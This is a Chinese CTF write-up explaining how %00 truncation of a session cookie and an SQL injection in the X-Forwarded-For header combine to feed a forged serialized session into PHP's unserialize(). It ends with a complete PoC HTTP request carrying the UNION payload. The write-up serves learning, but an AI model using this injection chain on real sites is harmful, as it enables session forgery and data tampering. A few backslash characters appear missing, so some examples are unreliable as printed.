%00截断配合反序列化的奇妙利用

前言

前段时间做了一个CTF题目，发现这道题目相当的精妙，主要是利用了 %00 的截断来绕过安全校验，最终利用反序列化达成目的。

漏洞分析

整个代码十分的简单，就是猜数字的游戏，但是按照正常的逻辑是无法成功的，那么必然存在漏洞。

在 config.php 中:

foreach ($_GET as $key => $value ) {
    $_GET[$key] = daddslashes($value);
}
foreach ($_POST as $key => $value ) {
    $_POST[$key] = daddslashes($value);
}
foreach ($_COOKIE as $key => $value ) {
    $_COOKIE[$key] = daddslashes($value);
}
foreach ($_SERVER as $key => $value ) {
    $_SERVER[$key] = addslashes($value);
}
function daddslashes($string) {
    if(!get_magic_quotes_gpc()) {
        if(is_array($string)) {
            foreach($string as $key => $val) {
                $string[$key] = daddslashes($val);
            }
        } else {
            $string = addslashes($string);
        }
    }
    return $string;
}

对GET、POST、Cookie和SERVER都进行了转义。

分析 session.class.php 代码：

class session
{

    function __construct(&$db, $session_id='', $session_table = 'session', $session_name='SESSID')
    {
        $this->dbConn  = $db;
        $this->session_name = $session_name;
        $this->session_table = $session_table;
        $this->_ip = $this->real_ip();
        // some other code
        if ($session_id == '' && !empty($_COOKIE[$this->session_name]))
        {
            $this->session_id = $_COOKIE[$this->session_name];
        }

        // some other code
        if ($this->session_id)
        {
            $this->load_session();
        }
        else
        {
            $this->gen_session_id();

            setcookie($this->session_name, $this->session_id . $this->gen_session_key($this->session_id));
        }

    }

    function real_ip()
    {
        static $realip = NULL;

        if ($realip !== NULL)
        {
            return $realip;
        }

        if (isset($_SERVER))
        {
            if (isset($_SERVER['HTTP_X_FORWARDED_FOR']))
            {
                $realip = $_SERVER['HTTP_X_FORWARDED_FOR'];
            }
            elseif (isset($_SERVER['HTTP_CLIENT_IP']))
            {
                $realip = $_SERVER['HTTP_CLIENT_IP'];
            }
            else
            {
                if (isset($_SERVER['REMOTE_ADDR']))
                {
                    $realip = $_SERVER['REMOTE_ADDR'];
                }
                else
                {
                    $realip = '0.0.0.0';
                }
            }
        }
        else
        {
            $realip = '0.0.0.0';
        }
        return $realip;
    }
}

其中，变量 $this->_ip 是由函数real_ip()得到，其实是从 $_SERVER['HTTP_X_FORWARDED_FOR'] 等变量中取到的，意味着变量 $_SERVER['HTTP_X_FORWARDED_FOR'] 是可控的。

变量 $this->session_id 是从变量 $_COOKIE["SESSID"] 中得到的，同样是可控的。

所以目前看到这里，我们已经知道了变量 $this->_ip 和变量 $this->session_id 都是我们可控的。

发现在初始化中存在如下代码：

if ($this->session_id) {
    $this->load_session();
}

如果存在 $this->session_id ,则调用 load_session() 函数，跟踪进入到 load_session() 中，进一步分析

function load_session()
{
    $res = $this->dbConn->query('SELECT data FROM ' . $this->session_table . " WHERE session_id = '" . $this->session_id . "' and ip = '" . $this->_ip . "'");
    $session = $res->fetch_array();
    if (empty($session))
    {
        $this->insert_session();
    }
    else
    {
        $GLOBALS['_SESSION']  = unserialize($session['data']);
    }
}

可以发现，在 SQL 语句中直接使用了 $this->_ip ,而这个 $this->_ip 是我们可控的， $this->session_id 也是可控的，其次最后将数据取出来时使用了 unserialize($session['data']) 反序列化的操作。

根据直觉猜解，这个问题可能和SQL注入以及序列化漏洞有关。

漏洞利用

根据上面的猜测，漏洞可能和SQL注入以及序列化相关。但是漏洞利用均存在一定程度的问题。对于参数 $this->_ip ,虽然我们可控，但是还是被 ' 包裹，同时之前也进行了转义，所以如果要利用必须要能够逃逸出单引号。其次，对于序列化漏洞，需要从 $session['data'] 中读入数据，所以要能够利用序列化漏洞的话，则需要 $session['data'] 的内容是可控的。但是通过分析，对于数据库中 data 表的数据我们是不可控的，所以序列化的利用也存在很大的问题了。

其实问题的本质是在于SQL注入漏洞，如果能够成功地进行 union 注入，也就意味着 $session['data'] 的内容是可控的。那么问题就转为了如何进行注入了，注入的关键问题是在于逃脱引号。

分析SQL语句 SELECT data FROM ' . $this->session_table . " WHERE session_id = '" . $this->session_id . "' and ip = '" . $this->_ip . "'

如果 $this->_ip 无法逃逸出单引号，那么可以考虑一下 $this->session_id 是否能够逃逸出单引号。继续分析代码，

$tmp_session_id = substr($this->session_id, 0, 32);
if ($this->gen_session_key($tmp_session_id) == substr($this->session_id, 32))
{
    $this->session_id = $tmp_session_id;
}

可以发现使用了 substr() 方法进行了阶段，那么是否能够利用截断的方法得到一个 呢？通过一个例子进行说明：

$mystr = "c4ca4238a0b923820dcc509a6f75849'";
$mystr = addslashes($mystr);
var_dump($mystr);   // 结果为 c4ca4238a0b923820dcc509a6f75849' (length=33)
var_dump(substr($mystr, 0, 32));  //结果为 c4ca4238a0b923820dcc509a6f75849 (length=32)

说明通过截断的方式保留 是可行的。

解决了SQL注入的问题，接下来就需要解决反序列化的问题，序列化是字符串，但是由于之前使用了 addslashes 进行转义，即使能够使用SQL注入也无法进行反序列， 此时需要可以采用十六进制来解决这个问题了。

漏洞实施

在进行实际的测试时，我发现通过 ' 会存在问题。当我们设置 SESSID=c4ca4238a0b923820dcc509a6f75849'eb2d9059 时，代码运行至：

$tmp_session_id = substr($this->session_id, 0, 32);
if ($this->gen_session_key($tmp_session_id) == substr($this->session_id, 32))
{
    $this->session_id = $tmp_session_id;
}

其中的 $tmp_session_id ，截断之后变为 c4ca4238a0b923820dcc509a6f75849 。此时计算:

$this->gen_session_key($tmp_session_id)    // 得到 eb2d9059
substr($this->session_id, 32)              // 得到 'eb2d9059

可以看到多余的 ' 被保留了，导致此处的判断无法相等，这样就存在问题。后来想到可以使用 %00 的方式得到

$mystr = "QYHuItTPcsD1yj4npiRWGvChx0FLBw6%00";
$mystr = urldecode($mystr);
$mystr = addslashes($mystr);
var_dump($mystr);    // 得到  QYHuItTPcsD1yj4npiRWGvChx0FLBw6 (length=32)

这样多余的0就可以作为后面的校验值了。

当我们设置 SESSID=QYHuItTPcsD1yj4npiRWGvChx0FLBw6%002ad2457 时，运行的结果如下：

这样就完成了SQL注入的第一步了，下面就是构造序列化的内容，然后转换为十六进制。序列化的内容十分的简单，需要设置分数大于100份即可， a:2:{s:4:"name";s:6:"hahaha";s:5:"score";s:3:"102";} ,转换为十六进制 0x613a323a7b733a343a226e616d65223b733a363a22686168616861223b733a353a2273636f7265223b733a333a22313032223b7d 。

至此，所有的问题都解决了，最后的PoC为:

GET URL HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Cookie: SESSID=QYHuItTPcsD1yj4npiRWGvChx0FLBw6%002ad2457
X-Forwarded-For: /**/union select 0x613a323a7b733a343a226e616d65223b733a363a22686168616861223b733a353a2273636f7265223b733a333a22313032223b7d #
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0

注意设置Cookie和XXF。

总结

一般的截断通过是为了保留得到单引号，但是相较于常规的截断手法，你会发现在本例中完全不适用，无法绕过关键的校验是 $this->gen_session_key($tmp_session_id) == substr($this->session_id, 32) ，同时在绕过了这个校验之后还需要保留单引号，最终采用 %00 截断完美地解决了这个问题。

这是一道非常好的题目，虽然所有的考察点都知道，但是结合在一起确实如此的精妙，遇到了问题看来需要多想多思考，在安全这条路上还有很长的一段路要走。